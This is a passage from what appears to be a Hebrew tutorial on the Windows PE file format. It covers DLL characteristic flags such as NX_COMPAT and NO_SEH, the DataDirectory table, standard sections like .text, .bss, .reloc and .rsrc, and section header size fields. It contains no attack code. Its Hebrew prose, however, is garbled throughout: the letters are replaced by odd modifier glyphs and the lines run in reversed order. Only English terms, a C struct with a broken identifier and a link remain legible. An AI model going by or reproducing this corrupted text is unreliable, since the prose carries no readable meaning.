 ˶ˣ˷˧˵ˢ ˸˧˧˴˲ˣ˞/FIXED ˩ ˸˶ˡˠˣˬ ˸ˣ˧ˢ˪ ˸˟˧˧˥-"NO ˧˴˟˵ ˪˧˟˷˟ ".exe ˸˞ ˪˟˵˧ ˞˪ ˳˟ˣ˵ˢ ˸˶˥˞ ,

) ˫˧ˮˣ˸ˮˢ ˪˷ ˷ˡ˥ˢ ˫ˣ˵˧ˬˢ ˪˰ ˰ˡ˧ˬˢRelocation Information ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .(˨˷ˬˢ˟ ˢˤ ˪˰ ˶˟ˡˮ ,

˪ ˫˧˶ˬˣ˞ ˣˮ˥ˮ˞-Linker ˳˟ˣ˵ ˶ˣ˴˧ˮ ˶˷˞˩ ."˭ˣ˶˩˧ˤ˟ ˣ˸ˣ˞ ˣˤ˧ˤ˧˷ ˨˩˟ ˨ˬˣ˸ ˧˪˷ ˡˣ˵ˢ" :.exe  ˸˞ ˶˧ˡˠˮ ˞˪ˣ

 ˞˪ ˫˞ ,ˢ˰ˣ˦ ˞˪ ˧ˮ˞ ˫˞ ."˭ˣ˶˩˧ˤ˟ ˧˪˷ ˡˣ˵ˢ ˸˞ ˤ˧ˤ˸ ˪˞" :ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˫˧˶ˬˣ˞ ˣˮ˥ˮ˞ ,ˣˤ ˢ˧˴˲ˣ˞

˴˲ˣ˞ ˸˞ ˶˧ˡˠˮ.˯ˣ˶˵˸ ˣˮ˪˷ ˸˧ˮ˩ˣ˸ˢ ,˸˶˥˞ ˸˧ˮ˩ˣ˸ ˧"˰ ˯ˣ˲˸ ˢ˧ˢ˧ ˢˤ ˭ˣ˶˩˧ˤ ˟˥˶ˬˣ ˣˤ ˢ˧ 

IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY ) ˢˮ˧˰˦ˢ ˭ˬˤ˟ ˵ˣˡ˟˪ ˫˴˰˟ ˶ˬˣ˞At load time (

ˢ ˫˞ˢHash- ) ˫ˣ˸˥ˢ ˧˪˦˧ˠ˧ˡˢDigitally signed hash ˸˞ ˭˰˦˸ ˪˞ ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .˶ˣ˵ˬ˪ ˫˞ˣ˸ ˣˮ˪˷ (

˞ ˞˪˞ ˳˟ˣ˵ˢ ˢˬ˧˸˥˪ ˸ˬ˞ˣ˸ ˞˧ˢˣ ˸˲˶ˣ˴ˬ (˨˷ˬˢ˟ ˢˤ ˪˰ ˶˟ˡˮ) ˸˧˪˦˧ˠ˧ˡ ˢˬ˧˸˥ ˣ˪ ˷˧ ˭˩ ˫

.˸˧˶ˣ˵ˬˢ 

IMAGE_DLLCHARACTERISTICS_NX_COMPAT  ˢ˧˴˲ˣ˞ˢ ˫˰ ˶˷ˣ˵˧ ˳˟ˣ˵ˢ ˶˷˞˩ ˶ˡˠˣ˧/NXCOMPAT .

˪ ˸˶ˬˣ˞ ˸˞ˤ ˢ˧˴˲ˣ˞-Loader ˢ˷-Image ˟ ˨ˬˣ˸- Data Execution Prevention (DEP)  ˫ˮ˧˞˷ ˫˧˲ˠ˞˪˷ˣ

 ˫˧ˮ˸˧ˮ) ˪ˠˡˢ ˸˞ ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˢ˴˧˶˪Flag (NX  ˸˶ˡˠˢ˟ ˨ˬˣ˸ ˢˤ ˡˣ˵ ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .˭ˣ˶˩˧ˤ˟ ˶ˡˠˣˬ

 ˭ˣ˶˩˧ˤ˟ ˫˧˶ˣˤ˞ˢ ,˞ˬˠˣˡ˪ .ˢ˴˧˶˪ ˫˧ˮ˸˧ˮ ˫ˮ˧˞˷ ˫˧˶ˣˤ˞ ˶ˣ˸˟ ˫˧ˮˣ˸ˮ ˧˶ˣˤ˞ ˪˷ ˫˧ˬ˧˧ˣ˯ˬ ˫˧˵˪˥Stack, 

Heap x-Data ˥˟ ˳˪ˬˣˬ ,˫˧ˠ˷ˣˬˢˬ ˡ˥˞ ˸˞ ˫˸ˮ˟ˢ ˞˪ ˫˞) ˢ˴˧˶˪ ˫˧ˮ˸˧ˮ ˫ˮ˧˞˷ ˫˧˶ˣˤ˞ ˫ˢ ˵ˣˡ˟˪ ˫ˣ

 ˪ˠˣˠ˟ ˣ˸ˣ˞J.( 

IMAGE_DLLCHARACTERISTICS_NO_SEH  ˸ˣˠ˧˶˥ˢ ˪ˣ˲˧˦˟ ˷ˬ˸˷˧ ˞˪ ˫˪ˣ˰˪ ˢˤ ˳˟ˣ˵ˢ˷ ˶ˬˣ˞

) ˢˮ˟ˣˬˢStructured exception handling ˫ˣ˷ ˭˩˪ˣ (Handler  ˶˴ˣˣ˧ˢ˪ ˨˧˶˴ ˸ˣ˞˧ˠ˷ ˪˷ ˪ˡ˥ˬ ˸˶˧˶˟

ˢ ,˸ˣ˲˯ˣˮ ˸ˣ˧˴˲ˣ˞ ˶ˡ˰˧ˢ˟˷ ˪˪ˠ˟)-SEH Handler ˧˴ˮ˦ˣ˲ ˸ˣ˷˪ˣ˥ ˪˰˟ ˞ˣˢ ˢ˧˴˲ˣ˞ ,˭˩˪ .(ˢ˲˵˸ˢ˪ ˸ˣ˧˪˞

https://msdn.microsoft.com/he-il/library/aa295848(v=vs.60).aspx
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) ˧ˢ˷˪˩ ˢˠ˧˶˥˟ ˸˪˵˸ˮ ˸˧ˮ˩ˣ˸ˢ ˫˞˷ ˸˶ˬˣ˞ ˣˤException ˣˬ˩ ,Stack-Overflow ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˰ ,(

.˸˧ˮ˩ˣ˸ˢ ˸˴˧˶ ˸˞ ˵˧˯˲ˢ˪ 

ˢ ˪˷ ˭ˣ˶˥˞ˢ ˢˡ˷ˢ- OPTIONAL_HEADER˞˶˵ˮ: 

DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES] 

 ˪˷ ˨˶˰ˬ ˫˴˰˟ ˣˢˤ16 ˫˧˶˦ˮ˧˧ˣ˲  ˸˧ˬ˷˶)16ˢ ˵˶ ˪˟˞ ,-14/15  ˪˩˪ (˫˧˷ˬˣ˷ˬ ˸ˬ˞˟ ˫˧ˮˣ˷˞˶ˢ

 ˫˧˲˵ˣˬˢ ˸ˣˡ˷ˢ ˪˩˪ ˫˧˶˦ˮ˧˧ˣ˲ ˵˧ˤ˥ˬ ˢˤ ˢˡ˷) ˨˷ˬˢ˟ ˫ˢ˧˪˰ ˶˟ˡˮ ˶˷˞ ˫˧˶˥˞ˢ ˫˧ˮˣ˸ˮ ˧ˮ˟ˬˢ

˟˸˪˩˸ ˢ ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟-PE.( 

 ˞˵ˣˣˡ ˢˬ˪ ,(˸˰ˡ˪ ˪ˣ˩˧ ˞˪ ˧ˮ˞ ,˞˪˷ ˣ˞) ˫˩ˬ˴˰ ˸˞ ˫˧˪˞ˣ˷ ˥˦˟ ˫˸˞16  ˞˧ˢ ˢ˟ˣ˷˸ˢ ?˫˧˶˦ˮ˧˧ˣ˲

˭ˣˣ˧˩ˬ ˢ˧˧˶˲˯˟ ˨˩ ˶ˡˠˣˢ ˢˤ˷ winnt.h (#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16). 

 ˪˷ ˢˮ˸˷ˬˢ ˠˣ˯DataDirectory[16]  ˞ˣˢstruct ˞˶˵ˮˢ IMAGE_DATA_DIRECTORYˢ .- struct ˢ˞˶ˮ

:˨˩ 

typedef struct _IMAGE_DATA_DIRECTORY {  
    DWORD   VirtualAddress;  

    DWORD   Size;  

} IMA GE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; 

VirtualAddress ˞ˣˢ RVA ˢˮ˟ˬ˪ ˫˧ˮˣ˸ˮ ˶˥˞ .ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ˢˤ ˞ˣˢ ˪ˡˣˠ˟ Size.  

 

 (Sections)˫˧˲ˠ˞ 

ˢ ˪˰ ˶˟ˡ˪ ˣˮˬ˧˧˯˷ ˧˶˥˞-OPTIONAL_HEADER˪) ˫˧˲ˠ˞ ˪˰ ˶˟ˡˮ ˣ˞ˣ˟ ,-Section  ˫ˣˠ˶˸ ˷ˬˬ ˭˧˞

˪ ˞˶˵ˮ ˤ˞ ,˸˧˶˟˰˟-Section ˬˢ ˨˪ˢˬ˟ ˱ˠ˞.(˶ˬ˞ 

 ˭˸ˣ˞ ˸˞ ˫ˢ˪ ˸ˣ˧ˢ˪ ˸ˣ˶ˣˬ˞ ˣ˞ ˢ˶˦ˬ ˢ˸ˣ˞ ˸˞ ˫ˢ˪ ˷˧ ˶˷˞ ˫˧ˮˣ˸ˮ ˣ˞ ˡˣ˵ ˧˵˪˥ ˪˷ ˢ˴ˣ˟˵ ˫ˢ ˫˧˲ˠ˞

 ˭˸ˣ˞˪ ˷˧˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˡ˧ˠˢ˪ ˧ˡ˩ ˫˧ˮˣ˸ˮ ˪˷ ˸ˣ˩˧˸˥ ˶ˡ˯˪ ˞˧ˢ ˫˧˲ˠ˞ˢ ˸˶˦ˬ .˭ˣ˶˩˧ˤ˟ ˸ˣ˞˷˶ˢ

ˮ˪˷ ˡˣ˵˟ ˧˪˟ˣ˪ˠ ˢˮ˸˷ˬ ˣˮ˪ ˷˧ ˫˞ ,˞ˬˠˣˡ˪ .˸ˣ˞˷˶ˢˢ ˭˸ˣ˞ ˸˞ ˫˧ˮˣ˸ˮ ˪˷ ˸ˣ˩˧˸˥ ˞ˣˢ˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ,ˣ

 ˞ˣˢ˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ,˸ˤˣ˶˥ˬ ˠˣ˯ˬ ˢˮ˸˷ˬ ˣˮ˪ ˷˧ ˫˞ ˣ˞ ,ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ˸ˣ˞˷˶ˢ ˫˰ ˱ˠ˞ ˨ˣ˸˟ ˶ˡˠˣˢ

.'ˣ˩ˣ ˡ˟˪˟ ˢ˞˧˶˵ ˸ˣ˞˷˶ˢ ˫˰ ˱ˠ˞ ˨ˣ˸˟ ˶ˡˠˣˢ 

:˫ˢ ˶˸ˣ˧˟ ˫˧˴ˣ˲ˮˢ ˫˧˲ˠ˞ˢ ˸ˣˬ˷ 

¶ .text - ˫ˣ˵˧ˬˢ ˣ˟˷ ˡˣ˵ˢ ˧˸˧ˬ˞ˢ ˞˴ˬˮ ,ˡˣ˵ˢ ˶˷˞ ˶ˣˬ˞ ˱˞ ˫˰˲ ˞˪ ˠˣ˪ˤ˪ ˭ˣ˶˩˧ˤˢˬ ˪˞ ˵˯˧ˡˢ ,

ˣ˪˧˲˞ ˫˞ ˶ˬˠˮ ˣˮ˪ ˭ˣ˶˩˧ˤˢ. 
 

¶ .data - ˫˧ˮˣ˸ˮ ˫˰ ˸ˣ˞˷˶ˢ ˪˷ ˢ˞˧˶˵ ˢ˟˧˸˩ˣ )˫˧ˮ˸˷ˬ ˫˧˪˥˸ˣ˞ˬ ˫˧˧˪˟ˣ˪ˠ ˫˧˧˦˞˦˯ˣ.( 
 

¶ .rdata - ˫˧ˮˣ˸ˮ ˫˰ ˸ˣ˞˷˶ˢ ˢ˞˧˶˵ ˡ˟˪˟ )˸ˣˤˣ˶˥ˬ.( 
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¶ .bss - ˧˷˞˶ˢ ˸ˣ˟˧˸ ˪˷ BSS ˭s Block Started by Symbol ˣ˞  Block Storage Segmentˣ˞ Block 

Storage Start ,˧ˣ˪˸ ˸˞ ˧ˬ ˫˧˪˞ˣ˷ .˱ˠ˞ˢ ˢˤˢ ˪˧˩ˬ ˸˞ ˪˩ ˫˧ˮ˸˷ˬˢ ˫˧˧˪˟ˣ˪ˠˢ ˫˧˧˦˞˦˯ˢˣ ˶˷˞ 

˫˧˪˥˸ˣ˞ˬ ˪-0 x˞ ˭˧˞˷ ˫ˢ˪ ˪ˣ˥˸˞ ˷˶ˣ˲ˬ ˡˣ˵˟ ˶ˣ˵ˬˢ .˪ˡˣˠˢ ˪˷ ˱ˠ˞ ˢˤ ˢ˧ˢ˧ 0 ˵˯˧ˡ˟ )˧ˡ˩ 

˶ˣˬ˷˪ ˫ˣ˵ˬ ˵˯˧ˡ˟ ,(˪˟˞ ˣ˪ˡˣˠ ˞˪ ˢ˧ˢ˧ 0 ˭ˣ˶˩˧ˤ˟ )˭ˣˣ˧˩ˬ ˣˮ˥ˮ˞˷ ˭˧˧ˡ˰ ˫˧˩˧˶˴ ˷ˬ˸˷ˢ˪ ˫˧ˮ˸˷ˬ˟ 

ˣ˪˞ .(˸˞ˤ ˢ˟˧˯ˢ ˪ˡˣˠ˷ ˳˟ˣ˵ˢ ˞ˣˢ ˭˦˵ ˶˸ˣ˧ ˪ˡˣˠˬ ˭ˣ˶˩˧ˤˢ ˟˴˵ˣˢ˷ ˳˟ˣ˵˪ .˭ˣˣ˧˩ˬ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ 

˸˩˶˰ˬ˷ ˢ˪˰˲ˢˢ ˟˧˴˵˸ ˫ˣ˵ˬ ˭ˣ˶˩˧ˤ˟ ,˧˩ ˣ˧ˢ˧ ˫˧ˮ˸˷ˬ ˫˧˧˪˟ˣ˪ˠ x˞ ˫˧˧˦˞˦˯ ˱ˣ˯˟ ,˪˟˞ ˣˮ˥ˮ˞ ˞˪ 

˫˧˩˧˶˴ ˢˤ˧˞˷ ˞ˣˢ˷ ˨˶˰ ˡ˥ˣ˧ˬ ˢ˧ˢ˧ ˪˥˸ˣ˞ˬ ˫˸ˣ˞˪ ˫˧ˮ˸˷ˬ .˭˩˪ ,˪ˡˣˠ ˳˟ˣ˵ˢ ˭ˣ˶˩˧ˤ˟ ˢ˧ˢ˧ ˪ˣˡˠ 

˶˸ˣ˧ ˪ˡˣˠˬ ˳˟ˣ˵ˢ ˵˯˧ˡ˟ .˪˰ˣ˲˟ ,ˢˤ ˢ˞˶ˮ ˧˩ ˱ˠ˞ s-.bss ˠˤˬ˸ˬ ˨ˣ˸˪ ˱ˠ˞ s-.data ˸ˣ˰˴ˬ˞˟ s-

Linker. 
 

¶ .idata - ˪˧˩ˬ ˸˞ ˸˪˟˦ ˸ˣ˟ˣ˸˩ˢ ˸ˣ˞˟ˣ˧ˬˢ )IAT, Import Address Table ,˶˟ˡˮ ˪˰ ˢˤ ˨˷ˬˢ˟ .(

˞ˬˠˣˡ˪ ,˱ˠ˞ ˢˤ ˪˧˩˧ ˸˞ ˢˬ˧˷˶ˢ ˪˷ ˪˩ ˫˧˴˟˵ˢ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ˞˟˧˧˪ ˫˧ˮˣ˸ˮ ˫ˢˬ )˪˷ˬ˪ 

˸ˣ˧˴˵ˮˣ˲ .(˪˰ˣ˲˟ ,ˢˤ ˢ˞˶ˮ ˧˩ ˱ˠ˞ ˢˤ ˠˤˬ˸ˬ ˨ˣ˸˪ ˱ˠ˞ s-.text x˞ ˨ˣ˸˪ ˱ˠ˞ s-..rdata. 
 

¶ .edata - ˱ˠ˞˟ ˢˤ ˣ˧ˢ˧ ˞ˬˠˣˡ˪ ˪˩ ˸ˣ˧˴˵ˮˣ˲ˢ ˶˷˞ ˥˸˲ˬ ˡˣ˵ˢ ˢ˴ˣ˶ ˞˴˧˧˪ ˧ˡ˩ ˫˧˥˸˲ˬ˷ ˫˧˶˥˞ 

ˣ˪˩ˣ˧ ˷ˬ˸˷ˢ˪ ˭˸ˣ˞˟ ˸ˣ˧˴˵ˮˣ˲ ,˨ˣ˸˟ ˡˣ˵ˢ ˣ˪˷ .˫˧˪˧ˬ˟ ˸ˣ˶˥˞ ,˸˶˦ˬ ˱ˠ˞ ˢˤ ˞ˣˢ ˴˧˧˪ ˞˫˧ˮˣ˸ˮ. 
 

¶ *PAGE - ˡˣ˵/˫˧ˮˣ˸ˮ ˶˷˞ ˶˸ˣˬ ˞˧˴ˣˢ˪ ˭ˣ˶˩˧ˤˢˬ ˵˯˧ˡ˪ ˫˞ ˣˮ˥ˮ˞ ˫˧˶˴˵ ˭ˣ˶˩˧ˤ˟ )ˢ˞˶ˮ ˧˩ ˱ˠ˞ ˢˤ 

˞˴ˬˮ ˷ˣˬ˧˷˟ ˶˵˧˰˟ ˪˴˞ ˫˧˶˟˧˧˶ˡ ˪˷ ˸˟˧˪ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ )Kernel drivers.(( 
 

.reloc - ˱ˠ˞˟ ˢˤ ˢ˧ˢ˧ ˰ˡ˧ˬ ˪˰ ˫˧ˬˣ˵˧ˬˢ ˫˧˷ˡ˥ˢ ˪˷ ˫˧ˮˣ˸ˮˢ )Relocation Information (˦˪˸˟ˣ 

˧ˣˮ˧˷ ˪˷ ˸˟ˣ˸˩ ˸ˣ˰˟˦ˣˬˢ ˡˣ˵˟ ˶˷˞ ˸ˣ˥˧ˮˬ ˡˣ˵ˢ˷ ˢ˪˰ˣˢ ˟- ImageBase˧ˣ˴˶ˢ .ˢ˶˦ˬˢ ˪˷ ˱ˠ˞ 

ˢˤ ˞˧ˢ ˶˴˧˧˪ Image ˳˟ˣ˵˪ ˢ˴˧˶ ˶˷˞ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˫˵ˣˬˬ ˢ˶ˣ˴˟ ˸˧˪ˬˣˡˮ˶ ˭ˬˤ˟ ˢ˞˪˰ˢ )At load 

time (˸˶ˤ˰˟ ˷ˣˬ˧˷ ˟ASLR- .˞ˬˠˣˡ˪ ,-s ImageBase˧ˣ˴˶ˢ ˞ˣˢ 0x1000 ˨˞ ˞ˣˢ ˢˮ˸˷ˢ ˪0x2000- 

˪˪ˠ˟ s-ASLR .ˡˣ˵˟ ˣˮ˪˷ ˷˧ ˸ˣ˟ˣ˸˩ ˫˧ˮ˸˷ˬ˪ ˫˧ˮˣ˸ˮˣ ˫˧ˬ˧˧ˣ˯ˬ ˶˷˞ ˫˸ˮ˧˥˟ˬ s- ImageBase˞ˣˢ 

0x1000 ˭˩˪ˣ ˸ˣ˟ˣ˸˩ˢ ˭s ˸ˣ˟˷ˣ˥ ˸˪˧˥˸˷ ˸˧ˮ˩ˣ˸ˢ ˢ˧ˢ˸ ˸˟ˣ˸˩˟ 0x1000 ˭ˣ˶˩˧ˤ˟ .˭ˣˣ˧˩ˬ ˸˪˧˥˸˷ 

˸˧ˮ˩ˣ˸ˢ ˢ˧ˢ˸ ˸˟ˣ˸˩˟ 0x2000 ˨˧˶˴ ˱˧˯ˣˢ˪ ˪˩˪ ˸ˣ˟ˣ˸˩ˢ ˱ˠ˞˟˷ ˢˤ 0x1000 )˭ˣˣ˧˩ˬ ˷: 0x2000-

0x1000=0x1000 (˪˰ ˸ˮˬ ˸ˣ˟ˣ˸˩ˢ˷ ˣ˧ˢ˧ ˸ˣˮˣ˩ˮ .˞ˬˠˣˡ˪ ,˫˞ ˸˥˞˪ ˸ˣ˧˴˵ˮˣ˲ˢˬ ˱ˠ˞˟ ˢˤ ˢ˧ˢ˸ 

˸˞ ˸˟ˣ˸˩ˢ 0x1300 ˤ˞ ˸˟ˣ˸˩ˢ ˢˮ˸˷˸ ˪-0x2300 ˧ˡ˩ ˸˟ˣ˸˩ˢ˷ ˢ˧ˢ˸ ˸˧˦ˮˣˣ˪˶ ˪- ImageBase 

˷ˡ˥ˢ. 
 
 

¶ .rsrc - ˫˧˟˞˷ˬ ,ˣˬ˩ ˫˧ˮˣ˵˧˧˞ ˡˣ˰ˣ ˫˧˴˟˵ ˫ˢ˷˪˩ .˱ˠ˞˪ ˢˤ ˷˧ ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ˭ˠ˶˞ˬ˷ ˞ ˸˫˧˟˞˷ˬˢ 

˦˰ˬ˩ ˣˬ˩ ˸˩˶˰ˬ ˫˧˴˟˵ )File System.( 
 

¶ .pdata - ˵˪˥ ˸ˣˮ˩ˣ˸ˢˬ ˸ˣ˷ˬ˸˷ˬ ˢˮ˟ˬ˟ ˫˧ˮˣ˸ˮ ˠˣ˯ˬ PDATA ˪˰ ˸ˮˬ ˰˧˧˯˪ ˟- Stack trace˭ˬˤ˟ 

ˢ˴˧˶ .ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ˢˤ ˶ˤˣ˰ ˧ˣ˲˧ˮ˟ ˸ˣ˞˧ˠ˷ )Debugging (ˡˣ˟˧˰˟ˣ ˸ˣˠ˧˶˥ )Exception processing .(

˱ˠ˞ ˢˤ ˪˧˩ˬ ˫˧ˮˣ˸ˮ ˪˰ ˪ˣˢ˧ˮ ˠ˧˶˥˸ˣ )Exception handling (˸˞˯˶ˠ˟ 64 ˦˧˟. 
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ˢ ˸˞ ˷˧ ˱ˠ˞ ˪˩˪- SECTION_HEADERˢ ˧˶˥˞ ˶˷˧ ,˭˩˪ .ˣ˪˷-OPTIONAL_HEADERˢ ˸˞ ˞˴ˬˮ ˣˮ˥ˮ˞ ,-

SECTION_HEADER  .(˪˟˪˟˸˸ ˢ˪˰˲ˢˢ ˸˩˶˰ˬˣ ˢ˪˞ ˧ˮ˷ ˭˧˟ ˡ˥˞ ˦˧˟ ˣ˪˧˲˞)SECTION_HEADER 

 ˶˲˯ˬ) ˨˩ ˢ˞˶ˮ5 ˢ ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟-PE:( 

 

Name[8] ˞ˣˢ  ˧ˣˣ˸ ˪˷ ˨˶˰ˬASCII˟ ˫˧˧˸˯˧ ˞˵ˣˣˡ ˣ˞˪ ˢˤ ˨˶˰ˬ .-null ˳˟ˣ˵ ˥˸ˮ˪ ˢ˯ˮˮ ˣˮ˥ˮ˞ ˫˞ ,˭˩˪ .

PE ˪ ˫ˠ ˪˞˧˴ˮ˦ˣ˲˟ˣ) ˣˮˣˬ˩ ˫ˡ˞ ˧ˮ˟ ˪˧˟˷˟ ˞ˣˢ ˢˤ ˢˡ˷ .˨˩˪ ˫˧˰ˡˣˬ ˸ˣ˧ˢ˪ ˨˶˦˴ˮ ˣˮ˥ˮ˞ ,ˣˮˬ˴˰˟-

Linker ˵˶ ˣ˪˞˷ ˸˶ˬˣ˞ ˸˞ˤ .(8 ˣˣ˸ ˣ˪˧˞ ˢˤ ˨˶˰ˬ˪ ˯˧ˮ˩ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ˣ ˣˮ˪ ˣ˟˴˵ˣˢ˷ ˫˧˸˟ ˣˮ˥ˮ˞˷ ˫˧

.˫˧˴ˣ˶ 

VirtualAddress ˢ ˞ˣˢRVA- ˪ ˯˥˧˟ ˱ˠ˞ˢ ˪˷-OptionalHeader.ImageBase ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .

VirtualAddress  ˪˷ ˨˶˰˟ ˸˞˴ˬˮ˷ ˸˟ˣ˸˩˟ ˪˧˥˸˧ ˢˤ ˱ˠ˞ ,˭˩˪ .˭ˣ˶˩˧ˤ˟ ˢ˲ˣˬ˧ ˢˤ ˱ˠ˞ ˣ˟˷ ˫ˣ˵ˬˢ ˞ˣˢ

 ˢˡ˷ˢVirtualAddress .˭ˣ˶˩˧ˤ˟ 

Misc.VirtualSize ˤ˟ ˢˤ ˱ˠ˞ ˪˷ ˪ˡˣˠˢ ˞ˣˢ˷ ˰˟ˣˮ ˭˞˩ˬ .˭ˣ˶˩˧-VirtualAddress  ˸˪˧˥˸ ˪˷ ˸˟ˣ˸˩ˢ ˞˧ˢ

 ˪ˡˣˠ˟ ˢ˧ˢ˧ ˱ˠ˞ˢˣ ˭ˣ˶˩˧ˤ˟ ˱ˠ˞ˢMisc.VirtualSize .˫˧˸˟ 

PointerToRawData ˢ ˞ˣˢ- Offset) ˧˯˥˧ˢRelative offset ˧ˮˣ˸ˮ ˢ˲˧˞ ˣˮ˪ ˶ˬˣ˞ ˶˷˞ ˳˟ˣ˵ˢ ˸˪˧˥˸ˬ (

 ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .˫˧ˮ˯˥ˣ˞ˬ ˣ˧ˢ˧ ˱ˠ˞ˢPointerToRawData ˧ˬˢ ˞ˣˢ ˢˤ ˱ˠ˞ ,˭˩˪ .˵˯˧ˡ˟ ˢˤ ˱ˠ˞ ˪˷ ˫ˣ˵

 ˢˡ˷ˢ ˪˷ ˨˶˰˟ ˸˞˴ˬˮ˷ ˸˟ˣ˸˩˟ ˪˧˥˸˧PointerToRawData .˳˟ˣ˵˟ 

SizeOfRawData ˷ ˰˟ˣˮ ˭˞˩ˬ .˳˟ˣ˵˟ ˢˤ ˱ˠ˞ ˪˷ ˪ˡˣˠˢ ˞ˣˢ- PointerToRawData˞ˣˢ  ˪˷ ˸˟ˣ˸˩ˢ

 ˪ˡˣˠ˟ ˢ˧ˢ˧ ˱ˠ˞ˢˣ ˳˟ˣ˵˟ ˱ˠ˞ˢ ˸˪˧˥˸SizeOfRawData .˫˧˸˟ 

 ˭˧˟ ˭˧˧ˮ˰ˬ ˶˷˵ ˷˧Misc.VirtualSize  ˭˧˟˪SizeOfRawData ˫˧ˬ˰˲˪ˣ ˶˸ˣ˧ ˪ˣˡˠ ˫ˢˬ ˡ˥˞ ˫˧ˬ˰˲˪ .

˷ ˢˬ˪ .˨˲ˢˢ- Misc.VirtualSizeˢ˧ˢ˧ ˬ ˶˸ˣ˧ ˪ˣˡˠ-SizeOfRawData ˢ˴˵ˢ ˱ˠ˞ˢ˷ ˨˩ ˪˰ ˡ˧˰ˬ ˢˤ ?

 ˱ˠ˞ ˪˰ ˣ˟˷˥˸ ,˸˞ˤ ˞ˬˠˣˡ ˸˞ ˷˧˥ˬˢ˪ ˧ˡ˩ .˵˯˧ˡ˪ ˣ˟˸˩ˮˢ ˫˧ˮˣ˸ˮˢ ˸ˣˬ˩ ˶˷˞ˬ ˭ˣ˶˩˧ˤ˟ ˫ˣ˵ˬ ˶˸ˣ˧

-s.bss ˣ˴ ˢˤ ˱ˠ˞ .˰ˠ˶˪ ˫ˢ˷ ˢ˟˧˯ˢ ˸˞ˤ ,˫˧˪˥˸ˣ˞ˬ ˞˪ ˣ˪˞ ˫˧ˮ˸˷ˬ .˫˧ˮ˸˷ˬ ˪˧˟˷˟ ˭ˣ˶˩˧ˤ˟ ˫ˣ˵ˬ ˨˶

 ,˨˩ˬ ˢ˞˴ˣ˸˩ .˫ˢ˟ ˧ˡ˧˸˰ ˷ˣˬ˧˷ ˸˟ˣ˦˪ ˭ˣ˶˩˧ˤ˟ ˫ˣ˵ˬ ˨ˣ˶˴˪ ˫˧˟˧˧˥ ˪˟˞ ,˵˯˧ˡ˟ ˫ˣ˵ˬ ˨ˣ˶˴˪ ˫˧˟˧˧˥ ˞˪
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-sLoader  ˭ˣ˶˩˧ˤ ˸ˣˬ˩ ˸˞˴˵ˢ ˸ˣ˰˴ˬ˞˟ ,ˣ˪˞ ˫˧ˮ˸˷ˬ ˭ˣ˯˥˞ ˸˟ˣ˦˪ ˭ˣ˶˩˧ˤ ˪˷ ˵˪˥ ˸˸˪ ˦ˣ˷˲ ˪ˣ˩˧

 ˪ˡˣˠ˟Misc.VirtualSize.˶˸ˣ˧ ˭˦˵ ˢ˧ˢ˧ ˳˟ˣ˵ˢ ˪ˡˣˠ ,˭˩˪ . 

 ˣ˟˷ ˢ˶˵ˬ˪ ˞ˬˠˣˡMisc.VirtualSize ˶˸ˣ˧ ˪ˣˡˠ ˬ-SizeOfRawData: 

 

) ˱ˠ˞ˢ ˧ˮˣ˸ˮ ˪˷ ˸˧˸˪˥˸ˢˢ ˸˟ˣ˸˩ˢ ˵˯˧ˡ˟ ,˸˞ˤ ˢˮˣˬ˸ˬ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩Section Data ˞˧ˢ (0x500 

˟ ˟ˣ˸˩˷ ˧˲˩)-PointerToRawData ˞ˣˢ ˫˪ˡˣˠˣ (0x200 ˟ˣ˸˩˷ ˧˲˩) ˟-SizeOfRawData ,˭ˣ˶˩˧ˤ˟ .(

 ˞˧ˢ ˱ˠ˞ˢ ˧ˮˣ˸ˮ ˪˷ ˸˧˸˪˥˸ˢˢ ˸˟ˣ˸˩ˢ0x1000 ˟ ˟ˣ˸˩˷ ˧˲˩)-VirtualAddress ˞ˣˢ ˫˪ˡˣˠˣ (0x300 

˟ ˟ˣ˸˩˷ ˧˲˩)-Misc.VirtualSize ˣ˧ˢ˧ ˱ˠ˞ˢ ˧ˮˣ˸ˮ˪ ,˭˩˪ .(0x200  ,˭ˣ˶˩˧ˤˢ ˪˞ ˵˯˧ˡˢˬ ˣ˶˟˰ˣ˧ ˶˷˞ ˫˧˸˟

 ˶˞˷ˣ0x100 ) ˫˧˸˟ˢ0x300-0x200=0x100ˮˣ˸ˮ ˣ˧ˢ˧ (˩ ˫˧˪˥˸ˣ˞ˬˢ ˫˧-0 .˭ˣ˶˩˧ˤ˪ ˣ˟˸˩˧ ˫ˢ ˫ˠˣ 
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 ˣ˟˷ ˢ˶˵ˬ˪ ˞ˬˠˣˡMisc.VirtualSize ˶˸ˣ˧ ˭˦˵ ˬ-SizeOfRawData: 

 

 ˢˡ˷ˢˬ ˢ˞˴ˣ˸˩ ˢˬ˶ˠˮ ˸˞ˤ ˞ˬˠˣˡOPTIONAL_HEADER.FileAlignment ˪˷ ˨˶˰ˢ ,˞ˬˠˣˡˢ ˧˲˪ .

